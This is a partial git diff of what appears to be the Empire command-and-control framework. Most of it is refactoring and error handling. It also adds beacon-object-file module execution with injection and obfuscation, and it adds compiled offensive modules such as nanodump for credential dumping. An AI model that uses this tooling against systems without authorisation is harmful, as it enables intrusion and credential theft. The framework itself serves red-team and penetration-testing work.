macholib.MachO.LC_SEGMENT_64 + or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT ): count += 1 - for section in cmd[count]: - if section.sectname.strip(b"\x00") == b"__cstring": - offset = int(section.offset) - placeHolderSz = int(section.size) - 52 + if ( + cmd[count].segname.strip(b"\x00") == b"__TEXT" + and cmd[count].nsects > 0 + ): + count += 1 + for section in cmd[count]: + if section.sectname.strip(b"\x00") == b"__cstring": + offset = int(section.offset) + placeHolderSz = int(section.size) - 52 - template = f.read() - f.close() + template = f.read() if placeHolderSz and offset: launcher = launcherCode.encode("utf-8") + b"\x00" * ( @@ -492,20 +475,17 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): tmpdir = "/tmp/application/%s.app/" % AppName shutil.copytree(directory, tmpdir) - f = open(tmpdir + "Contents/MacOS/launcher", "wb") - if disarm is not True: - f.write(patchedBinary) - f.close() - else: - t = open( - self.mainMenu.installPath - + "/data/misc/apptemplateResources/empty/macho", - "rb", - ) - w = t.read() - f.write(w) - f.close() - t.close() + with open(tmpdir + "Contents/MacOS/launcher", "wb") as f: + if disarm is not True: + f.write(patchedBinary) + else: + t = ( + self.mainMenu.installPath + + "/data/misc/apptemplateResources/empty/macho" + ) + with open(t, "rb") as t: + w = t.read() + f.write(w) os.rename( tmpdir + "Contents/MacOS/launcher", diff --git a/empire/server/config.yaml b/empire/server/config.yaml index 5cc9ff570..f145ada98 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -1,6 +1,7 @@ suppress-self-cert-warning: true api: port: 1337 + cert_path: empire/server/data/ database: use: mysql mysql: diff --git a/empire/server/core/agent_service.py b/empire/server/core/agent_service.py index 93af855ed..586cba1e5 100644 --- a/empire/server/core/agent_service.py +++ b/empire/server/core/agent_service.py @@ -64,7 +64,7 @@ def update_agent(self, db: Session, db_agent: models.Agent, agent_req): @staticmethod def get_agent_checkins( db: Session, - agents: list[str] = None, + agents: list[str] | None = None, limit: int = -1, offset: int = 0, start_date: datetime | None = None, @@ -103,7 +103,7 @@ def get_agent_checkins( @staticmethod def get_agent_checkins_aggregate( db: Session, - agents: list[str] = None, + agents: list[str] | None = None, start_date: datetime | None = None, end_date: datetime | None = None, bucket_size: AggregateBucket = None, diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index 955574d64..8ed748655 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -41,9 +41,9 @@ def __init__(self, main_menu): @staticmethod def get_tasks( db: Session, - agents: list[str] = None, - users: list[int] = None, - tags: list[str] = None, + agents: list[str] | None = None, + users: list[int] | None = None, + tags: list[str] | None = None, limit: int = -1, offset: int = 0, include_full_input: bool = False, @@ -262,7 +262,7 @@ def create_task_update_sleep( db, agent, "TASK_SHELL", - f"Set-Delay {str(delay)} {str(jitter)}", + f"Set-Delay {delay!s} {jitter!s}", user_id=user_id, ) elif agent.language in ["python", "ironpython"]: @@ -278,7 +278,7 @@ def create_task_update_sleep( db, agent, "TASK_SHELL", - f"Set-Delay {str(delay)} {str(jitter)}", + f"Set-Delay {delay!s} {jitter!s}", user_id=user_id, ) else: @@ -362,7 +362,7 @@ class TemporaryTask(BaseModel): module_name: str | None = None def add_temporary_task( - self, agent_id: str, task_name, task_input="", module_name: str = None + self, agent_id: str, task_name, task_input="", module_name: str | None = None ) -> tuple[TemporaryTask | None, str | None]: """ Add a temporary task for the agent to execute. These tasks are not saved in the database, @@ -384,7 +384,7 @@ def add_task( agent: models.Agent, task_name, task_input="", - module_name: str = None, + module_name: str | None = None, user_id: int = 0, ) -> tuple[models.AgentTask | None, str | None]: """ diff --git a/empire/server/core/config.py b/empire/server/core/config.py index 3c7045434..098ec80cc 100644 --- a/empire/server/core/config.py +++ b/empire/server/core/config.py @@ -19,6 +19,7 @@ def set_path(cls, v): class ApiConfig(EmpireBaseModel): port: int = 1337 + cert_path: Path = "empire/server/data" class StarkillerConfig(EmpireBaseModel): diff --git a/empire/server/core/credential_service.py b/empire/server/core/credential_service.py index 4294b4e53..9d64da3d3 100644 --- a/empire/server/core/credential_service.py +++ b/empire/server/core/credential_service.py @@ -11,7 +11,10 @@ def __init__(self, main_menu): @staticmethod def get_all( - db: Session, search: str = None, credtype: str = None, tags: list[str] = None + db: Session, + search: str | None = None, + credtype: str | None = None, + tags: list[str] | None = None, ): query = db.query(models.Credential) @@ -74,7 +77,7 @@ def create_credential(self, db: Session, credential_dto: CredentialPostRequest): if dupe: return None, "Credential not created. Duplicate detected." - credential = models.Credential(**credential_dto.dict()) + credential = models.Credential(**credential_dto.model_dump()) db.add(credential) db.flush() diff --git a/empire/server/core/download_service.py b/empire/server/core/download_service.py index 45cc33557..04494a4d8 100644 --- a/empire/server/core/download_service.py +++ b/empire/server/core/download_service.py @@ -28,8 +28,8 @@ def get_by_id(db: Session, uid: int): def get_all( db: Session, download_types: list[DownloadSourceFilter] | None, - tags: list[str] = None, - q: str = None, + tags: list[str] | None = None, + q: str | None = None, limit: int = -1, offset: int = 0, order_by: DownloadOrderOptions = DownloadOrderOptions.updated_at, @@ -148,10 +148,7 @@ def create_download(self, db: Session, user: models.User, file: UploadFile | Pat :param file: :return: """ - if isinstance(file, Path): - filename = file.name - else: - filename = file.filename + filename = file.name if isinstance(file, Path) else file.filename location = ( empire_config.directories.downloads / "uploads" / user.username / filename diff --git a/empire/server/core/exceptions.py b/empire/server/core/exceptions.py index ab79d6efa..68544fa16 100644 --- a/empire/server/core/exceptions.py +++ b/empire/server/core/exceptions.py @@ -1,2 +1,14 @@ class PluginValidationException(Exception): pass + + +class PluginExecutionException(Exception): + pass + + +class ModuleValidationException(Exception): + pass + + +class ModuleExecutionException(Exception): + pass diff --git a/empire/server/core/hooks.py b/empire/server/core/hooks.py index 8855c50d0..44d9cbb22 100644 --- a/empire/server/core/hooks.py +++ b/empire/server/core/hooks.py @@ -65,7 +65,7 @@ def register_filter(self, event: str, name: str, filter: Callable): self.filters[event] = {} self.filters[event][name] = filter - def unregister_hook(self, name: str, event: str = None): + def unregister_hook(self, name: str, event: str | None = None): """ Unregister a hook. """ @@ -76,7 +76,7 @@ def unregister_hook(self, name: str, event: str = None): if name in self.hooks.get(event, {}): self.hooks[event].pop(name) - def unregister_filter(self, name: str, event: str = None): + def unregister_filter(self, name: str, event: str | None = None): """ Unregister a filter. """ diff --git a/empire/server/core/hooks_internal.py b/empire/server/core/hooks_internal.py index ff5d0dea9..1a01f12b5 100644 --- a/empire/server/core/hooks_internal.py +++ b/empire/server/core/hooks_internal.py @@ -1,4 +1,6 @@ import json +import logging +from json.decoder import JSONDecodeError import jq as jq import terminaltables @@ -8,6 +10,8 @@ from empire.server.core.db import models from empire.server.core.hooks import hooks +log = logging.getLogger(__name__) + def ps_hook(db: Session, task: models.AgentTask): """ @@ -29,15 +33,17 @@ def ps_hook(db: Session, task: models.AgentTask): jq.compile( """[sub("\n$";"") | splits("\n") | sub("^ +";"") | [splits(" +")]] | .[0] as $header | .[1:] | [.[] | [. as $x | range($header | length) | {"key": $header[.], "value": $x[.]}] | from_entries]""" ) - .input( - task.output.decode("utf-8").split( - "\r\n ..Command execution completed." - )[0] - ) + .input(task.output.split("\r\n ..Command execution completed.")[0]) .first() ) else: - output = json.loads(task.output) + try: + output = json.loads(task.output) + except JSONDecodeError: + log.warning( + "Failed to decode JSON output from ps command. Most likely, the command returned an error." + ) + return existing_processes = ( db.query(models.HostProcess.process_id) @@ -108,7 +114,14 @@ def ps_filter(db: Session, task: models.AgentTask): ] or task.agent.language not in ["powershell", "ironpython"]: return db, task - output = json.loads(task.output.decode("utf-8")) + try: + output = json.loads(task.output) + except JSONDecodeError: + log.warning( + "Failed to decode JSON output from ps command. Most likely, the command returned an error." + ) + return db, task + output_list = [] for rec in output: output_list.append( @@ -146,7 +159,14 @@ def ls_filter(db: Session, task: models.AgentTask): ): return db, task - output = json.loads(task.output.decode("utf-8")) + try: + output = json.loads(task.output) + except JSONDecodeError: + log.warning( + "Failed to decode JSON output from ls command. Most likely, the command returned an error." + ) + return db, task + output_list = [] for rec in output: output_list.append( @@ -182,7 +202,7 @@ def ipconfig_filter(db: Session, task: models.AgentTask): ): return db, task - output = json.loads(task.output.decode("utf-8")) + output = json.loads(task.output) if isinstance(output, dict): # if there's only one adapter, it won't be a list. output = [output] @@ -211,7 +231,7 @@ def route_filter(db: Session, task: models.AgentTask): if task.input.strip() not in ["route"] or task.agent.language != "powershell": return db, task - output = json.loads(task.output.decode("utf-8")) + output = json.loads(task.output) output_list = [] for rec in output: diff --git a/empire/server/core/module_models.py b/empire/server/core/module_models.py index d18930b30..040443dac 100644 --- a/empire/server/core/module_models.py +++ b/empire/server/core/module_models.py @@ -8,6 +8,8 @@ class LanguageEnum(str, Enum): python = "python" powershell = "powershell" csharp = "csharp" + ironpython = "ironpython" + bof = "bof" class EmpireModuleAdvanced(BaseModel): @@ -26,6 +28,7 @@ class EmpireModuleOption(BaseModel): suggested_values: list[str] = [] strict: bool = False type: str | None = None + format: str | None = None # Ensure the functionality of pydantic v1 coercing values to strings # https://github.com/pydantic/pydantic/issues/5606 @@ -47,6 +50,12 @@ class EmpireModuleAuthor(BaseModel): link: str +class BofModuleOption(BaseModel): + x86: str | None = None + x64: str | None = None + entry_point: str | None = None + + class EmpireModule(BaseModel): id: str name: str @@ -65,6 +74,7 @@ class EmpireModule(BaseModel): options: list[EmpireModuleOption] = [] script: str | None = None script_path: str | None = None + bof: BofModuleOption | None = None script_end: str = " {{ PARAMS }}" enabled: bool = True advanced: EmpireModuleAdvanced = EmpireModuleAdvanced() @@ -87,5 +97,5 @@ def matches(self, query: str, parameter: str = "any") -> bool: @property def info(self) -> dict: desc = self.dict(include={"name", "authors", "description", "comments"}) - desc["options"] = [option.dict() for option in self.options] + desc["options"] = [option.model_dump() for option in self.options] return desc diff --git a/empire/server/core/module_service.py b/empire/server/core/module_service.py index 17e9416d2..3bad64ad9 100644 --- a/empire/server/core/module_service.py +++ b/empire/server/core/module_service.py @@ -1,7 +1,9 @@ +import base64 import fnmatch import importlib.util import logging import os +import warnings from pathlib import Path import yaml @@ -18,6 +20,10 @@ from empire.server.core.db import models from empire.server.core.db.base import SessionLocal from empire.server.core.download_service import DownloadService +from empire.server.core.exceptions import ( + ModuleExecutionException, + ModuleValidationException, +) from empire.server.core.module_models import EmpireModule, LanguageEnum from empire.server.core.obfuscation_service import ObfuscationService from empire.server.utils.option_util import convert_module_options, validate_options @@ -98,7 +104,7 @@ def execute_module( ) if err: - return None, err + raise ModuleValidationException(err) module_data = self._generate_script( db, @@ -106,13 +112,21 @@ def execute_module( cleaned_options, ) if isinstance(module_data, tuple): + warnings.warn( + "Returning a tuple on errors from module generation is deprecated. Raise exceptions instead." + "https://bc-security.gitbook.io/empire-wiki/module-development/powershell-modules#custom-generate", + DeprecationWarning, + stacklevel=5, + ) (module_data, err) = module_data else: # Not all modules return a tuple. If they just return a single value, # we don't want to throw an unpacking error. err = None if not module_data or module_data == "": - return None, err or "module produced an empty script" + # This should probably be a ModuleExecutionException, but + # for backwards compatability with 5.x, it needs to raise a 400 + raise ModuleValidationException(err or "module produced an empty script") if not module_data.isascii(): # This previously returned 'None, 'module source contains non-ascii characters' # Was changed in 4.3 to print a warning. @@ -144,7 +158,8 @@ def execute_module( task_command = "TASK_CMD_JOB_SAVE" else: task_command = "TASK_CMD_JOB" - + elif module.language == LanguageEnum.bof: + task_command = "TASK_CSHARP" else: # if this module is run in the foreground extension = module.output_extension @@ -193,6 +208,65 @@ def execute_module( return {"command": task_command, "data": module_data}, None + def generate_bof_data( + self, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + ) -> tuple[str, str]: + bof_module = self.modules["csharp_inject_bof_inject_bof"] + + compiler = self.main_menu.pluginsv2.get_by_id("csharpserver") + if not compiler.status == "ON": + raise ModuleValidationException("csharpserver plugin not running") + + compiler_dict: dict = yaml.safe_load(bof_module.compiler_yaml) + del compiler_dict[0]["Empire"] + + if params["Architecture"] == "x64": + script_path = empire_config.directories.module_source / module.bof.x64 + bof_data = script_path.read_bytes() + b64_bof_data = base64.b64encode(bof_data).decode("utf-8") + + elif params["Architecture"] == "x86": + compiler_dict[0]["ReferenceSourceLibraries"][0]["EmbeddedResources"][0][ + "Name" + ] = "RunOF.beacon_funcs.x64.o" + compiler_dict[0]["ReferenceSourceLibraries"][0]["EmbeddedResources"][0][ + "Location" + ] = "RunOF.beacon_funcs.x64.o" + compiler_dict[0]["ReferenceSourceLibraries"][0][ + "Location" + ] = "RunOF\\RunOF32\\" + + script_path = empire_config.directories.module_source / module.bof.x86 + bof_data = script_path.read_bytes() + b64_bof_data = base64.b64encode(bof_data).decode("utf-8") + + compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False) + + file_name = compiler.do_send_message( + compiler_yaml, bof_module.name, confuse=obfuscate + ) + if file_name == "failed": + raise ModuleExecutionException("module compile failed") + + script_file = ( + self.main_menu.installPath + + "/csharp/Covenant/Data/Tasks/CSharp/Compiled/" + + "net40" + + "/" + + file_name + + ".compiled" + ) + + script_end = f",-a:{b64_bof_data}" + + if module.bof.entry_point != "": + script_end += f" -e:{params['EntryPoint']}" + + return script_file, script_end + def _validate_module_params( self, db: Session, @@ -221,15 +295,14 @@ def _validate_module_params( agent_version = parse(agent.language_version or "0") # check if the agent/module PowerShell versions are compatible if module_version > agent_version: - return ( - None, + raise ModuleValidationException( f"module requires language version {module.min_language_version} but agent running language version {agent.language_version}", ) - if module.needs_admin and not ignore_admin_check: - # if we're running this module for all agents, skip this validation - if not agent.high_integrity: - return None, "module needs to run in an elevated context" + if module.needs_admin and not ignore_admin_check and not agent.high_integrity: + raise ModuleValidationException( + "module needs to run in an elevated context" + ) return options, None @@ -269,6 +342,8 @@ def _generate_script( obfuscation_enabled, obfuscation_command, ) + except (ModuleValidationException, ModuleExecutionException) as e: + raise e except Exception as e: log.error(f"Error generating script: {e}", exc_info=True) return None, "Error generating script." @@ -280,13 +355,40 @@ def _generate_script( return self._generate_script_python(module, params, obfuscation_config) elif module.language == LanguageEnum.csharp: return self._generate_script_csharp(module, params, obfuscation_config) + elif module.language == LanguageEnum.bof: + if not obfuscation_config: + obfuscation_config = self.obfuscation_service.get_obfuscation_config( + db, LanguageEnum.csharp + ) + return self._generate_script_bof(module, params, obfuscation_config) + + def _generate_script_bof( + self, + module: EmpireModule, + params: dict, + obfuscation_config: models.ObfuscationConfig, + ) -> str: + script_file, script_end = self.generate_bof_data( + module=module, params=params, obfuscate=obfuscation_config.enabled + ) + + for key, value in params.items(): + if key in ["Agent", "Architecture"]: + continue + for option in module.options: + if option.name == key: + if value == "": + value = " " + script_end += f" -{option.format}:{value}" + + return f"{script_file}|{script_end}" def _generate_script_python( self, module: EmpireModule, params: dict, obfuscaton_config: models.ObfuscationConfig, - ) -> tuple[str | None, str | None]: + ) -> str: obfuscate = obfuscaton_config.enabled if module.script_path: @@ -308,14 +410,14 @@ def _generate_script_python( if obfuscate: script = self.obfuscation_service.python_obfuscate(script) - return script, None + return script def _generate_script_powershell( self, module: EmpireModule, params: dict, obfuscaton_config: models.ObfuscationConfig, - ) -> tuple[str | None, str | None]: + ) -> str: obfuscate = obfuscaton_config.enabled obfuscate_command = obfuscaton_config.command @@ -327,7 +429,7 @@ def _generate_script_powershell( ) if err: - return None, err + raise ModuleValidationException(err) else: if obfuscate: script = self.obfuscation_service.obfuscate( @@ -341,28 +443,29 @@ def _generate_script_powershell( # This is where the code goes for all the modules that do not have a custom generate function. for key, value in params.items(): - if key.lower() not in ["agent", "computername", "outputfunction"]: - if value and value != "": - if value.lower() == "true": - # if we're just adding a switch - # wannabe mustache templating. - # If we want to get more advanced, we can import a library for it. - this_option = ( - module.advanced.option_format_string_boolean.replace( - "{{ KEY }}", str(key) - ).replace("{{KEY}}", str(key)) - ) - option_strings.append(f"{this_option}") - else: - this_option = ( - module.advanced.option_format_string.replace( - "{{ KEY }}", str(key) - ) - .replace("{{KEY}}", str(key)) - .replace("{{ VALUE }}", str(value)) - .replace("{{VALUE}}", str(value)) + if ( + key.lower() not in ["agent", "computername", "outputfunction"] + and value + and value != "" + ): + if value.lower() == "true": + # if we're just adding a switch + # wannabe mustache templating. + # If we want to get more advanced, we can import a library for it. + this_option = module.advanced.option_format_string_boolean.replace( + "{{ KEY }}", str(key) + ).replace("{{KEY}}", str(key)) + option_strings.append(f"{this_option}") + else: + this_option = ( + module.advanced.option_format_string.replace( + "{{ KEY }}", str(key) ) - option_strings.append(f"{this_option}") + .replace("{{KEY}}", str(key)) + .replace("{{ VALUE }}", str(value)) + .replace("{{VALUE}}", str(value)) + ) + option_strings.append(f"{this_option}") script_end = ( script_end.replace("{{ PARAMS }}", " ".join(option_strings)) @@ -381,23 +484,23 @@ def _generate_script_powershell( obfuscation_command=obfuscate_command, ) - return script, None + return script def _generate_script_csharp( self, module: EmpireModule, params: dict, obfuscation_config: models.ObfuscationConfig, - ) -> tuple[str | None, str | None]: + ) -> str: try: compiler = self.main_menu.pluginsv2.get_by_id("csharpserver") if not compiler.status == "ON": - return None, "csharpserver plugin not running" + raise ModuleValidationException("csharpserver plugin not running") file_name = compiler.do_send_message( module.compiler_yaml, module.name, confuse=obfuscation_config.enabled ) if file_name == "failed": - return None, "module compile failed" + raise ModuleExecutionException("module compile failed") script_file = ( self.main_menu.installPath @@ -409,21 +512,25 @@ def _generate_script_csharp( ) param_string = "" for key, value in params.items(): - if key.lower() not in ["agent", "computername", "dotnetversion"]: - if value and value != "": - param_string += "," + value - - return f"{script_file}|{param_string}", None - + if ( + key.lower() not in ["agent", "computername", "dotnetversion"] + and value + and value != "" + ): + param_string += "," + value + + return f"{script_file}|{param_string}" + except (ModuleValidationException, ModuleExecutionException) as e: + raise e except Exception as e: log.error(f"dotnet compile error: {e}") - return None, "dotnet compile error" + raise ModuleExecutionException("dotnet compile error") from e def _create_modified_module(self, module: EmpireModule, modified_input: str): """ Return a copy of the original module with the input modified. """ - modified_module = module.copy(deep=True) + modified_module = module.model_copy(deep=True) modified_module.script = modified_input modified_module.script_path = None @@ -511,6 +618,15 @@ def _load_module(self, db: Session, yaml_module, root_path, file_path: str): ) elif my_model.script: pass + elif my_model.language == LanguageEnum.bof: + if not ( + empire_config.directories.module_source / my_model.bof.x86 + ).exists(): + raise Exception(f"x86 bof file provided does not exist: {module_name}") + if not ( + empire_config.directories.module_source / my_model.bof.x64 + ).exists(): + raise Exception(f"x64 bof file provided does not exist: {module_name}") else: raise Exception( "Must provide a valid script, script_path, or custom generate function" @@ -620,3 +736,44 @@ def delete_all_modules(self, db: Session): db.delete(db_module) del self.modules[module.id] db.flush() + + +def auto_get_source(func): + def wrapper(*args, **kwargs): + main_menu = args[0] + module = args[1] + obfuscate = args[3] + obfuscation_command = args[4] + + script, err = main_menu.modulesv2.get_module_source( + module_name=module.script_path, + obfuscate=obfuscate, + obfuscate_command=obfuscation_command, + ) + + if err: + raise ModuleValidationException(err) + + return func(*args, script=script, **kwargs) + + return wrapper + + +def auto_finalize(func): + def wrapper(*args, **kwargs): + script, script_end = func(*args, **kwargs) + + main_menu = args[0] + obfuscate = args[3] + obfuscation_command = args[4] + + script = main_menu.modulesv2.finalize_module( + script=script, + script_end=script_end, + obfuscate=obfuscate, + obfuscation_command=obfuscation_command, + ) + + return script + + return wrapper diff --git a/empire/server/core/obfuscation_service.py b/empire/server/core/obfuscation_service.py index 2c7199547..5afb9b6f8 100644 --- a/empire/server/core/obfuscation_service.py +++ b/empire/server/core/obfuscation_service.py @@ -1,3 +1,4 @@ +import contextlib import fnmatch import logging import os @@ -185,10 +186,8 @@ def remove_preobfuscated_modules(self, language: str): """ files = self._get_obfuscated_module_source_files(language) for file in files: - try: + with contextlib.suppress(Exception): os.remove(file) - except Exception: - pass def obfuscate_keywords(self, data): with SessionLocal.begin() as db: diff --git a/empire/server/core/plugin_service.py b/empire/server/core/plugin_service.py index 020c924ac..0702ce3b3 100644 --- a/empire/server/core/plugin_service.py +++ b/empire/server/core/plugin_service.py @@ -3,8 +3,11 @@ import importlib import logging import os +import warnings from datetime import datetime +from pathlib import Path +import yaml from sqlalchemy import and_, func, or_ from sqlalchemy.orm import Session, joinedload, undefer @@ -15,7 +18,10 @@ from empire.server.core.db import models from empire.server.core.db.base import SessionLocal from empire.server.core.db.models import AgentTaskStatus -from empire.server.core.exceptions import PluginValidationException +from empire.server.core.exceptions import ( + PluginExecutionException, + PluginValidationException, +) from empire.server.utils.option_util import validate_options log = logging.getLogger(__name__) @@ -40,24 +46,23 @@ def autostart_plugins(self): """ Autorun plugin commands at server startup. """ - plugins = empire_config.yaml.get("plugins") - if plugins: - for plugin in plugins: - use_plugin = self.loaded_plugins.get(plugin) - if not use_plugin: - log.error(f"Plugin {plugin} not found.") - continue + plugins = empire_config.yaml.get("plugins", {}) - options = plugins[plugin] - req = PluginExecutePostRequest(options=options) + for plugin_name, options in plugins.items(): + use_plugin = self.loaded_plugins.get(plugin_name) + if not use_plugin: + log.error(f"Plugin {plugin_name} not found.") + continue - with SessionLocal.begin() as db: - results, err = self.execute_plugin(db, use_plugin, req, None) + req = PluginExecutePostRequest(options=options) - if results is False: - log.error(f"Plugin failed to run: {plugin}") - else: - log.info(f"Plugin {plugin} ran successfully!") + with SessionLocal.begin() as db: + results, err = self.execute_plugin(db, use_plugin, req, None) + + if results is False: + log.error(f"Plugin failed to run: {plugin_name}") + else: + log.info(f"Plugin {plugin_name} ran successfully!") def startup_plugins(self, db: Session): """ @@ -66,7 +71,47 @@ def startup_plugins(self, db: Session): plugin_path = f"{self.main_menu.installPath}/plugins/" log.info(f"Searching for plugins at {plugin_path}") - # Import old v1 plugins (remove in 5.0) + self._legacy_load(plugin_path) + + for directory in os.listdir(plugin_path): + plugin_dir = Path(plugin_path) / directory + + if ( + directory == "example" + or not plugin_dir.is_dir() + or plugin_dir.name.startswith(".") + or plugin_dir.name.startswith("_") + ): + continue + + plugin_yaml = plugin_dir / "plugin.yaml" + + if not plugin_yaml.exists(): + log.warning(f"Plugin {plugin_dir.name} does not have a plugin.yaml") + continue + + plugin_config = yaml.safe_load(plugin_yaml.read_text()) + plugin_main = plugin_config.get("main") + plugin_file = plugin_dir / plugin_main + + if not plugin_file.is_file(): + log.warning(f"Plugin {plugin_dir.name} does not have a valid main file") + continue + + try: + self.load_plugin(plugin_file.name.removesuffix(".py"), plugin_file) + except Exception as e: + log.error( + f"Failed to load plugin {plugin_file.name}: {e}", exc_info=True + ) + + def _legacy_load(self, plugin_path): + warnings.warn( + "Legacy plugin loading will be removed in 6.0", + DeprecationWarning, + stacklevel=2, + ) + plugin_names = os.listdir(plugin_path) for plugin_name in plugin_names: if not plugin_name.lower().startswith( @@ -84,17 +129,21 @@ def startup_plugins(self, db: Session): plugin_name = filename.split(".")[0] # don't load up any of the templates or examples - if fnmatch.fnmatch(filename, "*template.plugin"): - continue - elif fnmatch.fnmatch(filename, "*example.plugin"): + if fnmatch.fnmatch(filename, "*template.plugin") or fnmatch.fnmatch( + filename, "*example.plugin" + ): continue + warnings.warn( + f"{plugin_name}: Loading plugins from .plugin files is deprecated", + DeprecationWarning, + stacklevel=2, + ) self.load_plugin(plugin_name, file_path) def load_plugin(self, plugin_name, file_path): """Given the name of a plugin and a menu object, load it into the menu""" - # note the 'plugins' package so the loader can find our plugin - loader = importlib.machinery.SourceFileLoader(plugin_name, file_path) + loader = importlib.machinery.SourceFileLoader(plugin_name, str(file_path)) module = loader.load_module() plugin_obj = module.Plugin(self.main_menu) @@ -104,6 +153,7 @@ def load_plugin(self, plugin_name, file_path): if value.get("Strict") is None: value["Strict"] = False + plugin_name = plugin_obj.info["Name"] self.loaded_plugins[plugin_name] = plugin_obj def execute_plugin( @@ -130,7 +180,7 @@ def execute_plugin( log.warning( f"Plugin {plugin.info.get('Name')} does not support db session or user_id, falling back to old method" ) - except PluginValidationException as e: + except (PluginValidationException, PluginExecutionException) as e: raise e except Exception as e: log.error(f"Plugin {plugin.info['Name']} failed to run: {e}", exc_info=True) @@ -139,9 +189,15 @@ def execute_plugin( try: res = plugin.execute(cleaned_options) if isinstance(res, tuple): + warnings.warn( + "Returning a tuple on errors from plugin execution is deprecated. Raise exceptions instead." + "https://bc-security.gitbook.io/empire-wiki/plugins/plugin-development", + DeprecationWarning, + stacklevel=5, + ) return res return res, None - except PluginValidationException as e: + except (PluginValidationException, PluginExecutionException) as e: raise e except Exception as e: log.error(f"Plugin {plugin.info['Name']} failed to run: {e}", exc_info=True) @@ -195,9 +251,9 @@ def get_task(self, db: SessionLocal, plugin_id: str, task_id: int): @staticmethod def get_tasks( db: Session, - plugins: list[str] = None, - users: list[int] = None, - tags: list[str] = None, + plugins: list[str] | None = None, + users: list[int] | None = None, + tags: list[str] | None = None, limit: int = -1, offset: int = 0, include_full_input: bool = False, diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Seatbelt b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Seatbelt index b3556ef90..21547d74b 160000 --- a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Seatbelt +++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Seatbelt @@ -1 +1 @@ -Subproject commit b3556ef907a4b5bea2310fa5a9b4e7a734ae1379 +Subproject commit 21547d74b0059efedee05117ed2f8f01dbbd4f55 diff --git a/empire/server/data/agent/agent.ps1 b/empire/server/data/agent/agent.ps1 index f12a9a708..ba06f04cf 100644 --- a/empire/server/data/agent/agent.ps1 +++ b/empire/server/data/agent/agent.ps1 @@ -350,7 +350,19 @@ function Invoke-Empire { # this is stupid how complicated it is to get this information... '(ps|tasklist)' { $owners = @{}; - Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o}; + Get-WmiObject win32_process | ForEach-Object { + try { + $o = $_.getowner() + if (-not $($o.User)) { + $o = 'N/A' + } else { + $o = "$($o.Domain)\$($o.User)" + } + } catch { + $o = 'N/A' + } + $owners[$_.handle] = $o + } if($cmdargs -ne '') { $p = $cmdargs } else{ $p = "*" }; $output = Get-Process $p | ForEach-Object { diff --git a/empire/server/data/agent/ironpython_agent.py b/empire/server/data/agent/ironpython_agent.py index 6a54dd5dd..40721b75c 100644 --- a/empire/server/data/agent/ironpython_agent.py +++ b/empire/server/data/agent/ironpython_agent.py @@ -1263,7 +1263,19 @@ def run_command(self, command, cmdargs=None): pipeline.Commands.AddScript( """ $owners = @{} - Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o} + Get-WmiObject win32_process | ForEach-Object { + try { + $o = $_.getowner() + if (-not $($o.User)) { + $o = 'N/A' + } else { + $o = "$($o.Domain)\$($o.User)" + } + } catch { + $o = 'N/A' + } + $owners[$_.handle] = $o + } $p = "*"; $output = Get-Process $p | ForEach-Object { $arch = 'x64'; diff --git a/empire/server/data/module_source/bof/ClipboardWindow/ClipboardWindow-Inject.x64.o b/empire/server/data/module_source/bof/ClipboardWindow/ClipboardWindow-Inject.x64.o new file mode 100644 index 000000000..965b165fe Binary files /dev/null and b/empire/server/data/module_source/bof/ClipboardWindow/ClipboardWindow-Inject.x64.o differ diff --git a/empire/server/data/module_source/bof/nanodump/nanodump.x64.o b/empire/server/data/module_source/bof/nanodump/nanodump.x64.o new file mode 100644 index 000000000..293172491 Binary files /dev/null and b/empire/server/data/module_source/bof/nanodump/nanodump.x64.o differ diff --git a/empire/server/data/module_source/bof/nanodump/nanodump.x86.o b/empire/server/data/module_source/bof/nanodump/nanodump.x86.o new file mode 100644 index 000000000..8bcfb6066 Binary files /dev/null and b/empire/server/data/module_source/bof/nanodump/nanodump.x86.o differ diff --git a/empire/server/data/module_source/bof/secinject/secinject.x64.o b/empire/server/data/module_source/bof/secinject/secinject.x64.o new file mode 100644 index 000000000..99c6743e3 Binary files /dev/null and b/empire/server/data/module_source/bof/secinject/secinject.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/adcs_enum/adcs_enum.x64.o b/empire/server/data/module_source/bof/situational_awareness/adcs_enum/adcs_enum.x64.o new file mode 100644 index 000000000..5f2563f2b Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/adcs_enum/adcs_enum.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/adcs_enum/adcs_enum.x86.o b/empire/server/data/module_source/bof/situational_awareness/adcs_enum/adcs_enum.x86.o new file mode 100644 index 000000000..d7a27371a Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/adcs_enum/adcs_enum.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/adcs_enum_com/adcs_enum_com.x64.o b/empire/server/data/module_source/bof/situational_awareness/adcs_enum_com/adcs_enum_com.x64.o new file mode 100644 index 000000000..f6970aad9 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/adcs_enum_com/adcs_enum_com.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/adcs_enum_com/adcs_enum_com.x86.o b/empire/server/data/module_source/bof/situational_awareness/adcs_enum_com/adcs_enum_com.x86.o new file mode 100644 index 000000000..ddd60b935 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/adcs_enum_com/adcs_enum_com.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/adcs_enum_com2/adcs_enum_com2.x64.o b/empire/server/data/module_source/bof/situational_awareness/adcs_enum_com2/adcs_enum_com2.x64.o new file mode 100644 index 000000000..9e497caf8 Binary files /dev/null and 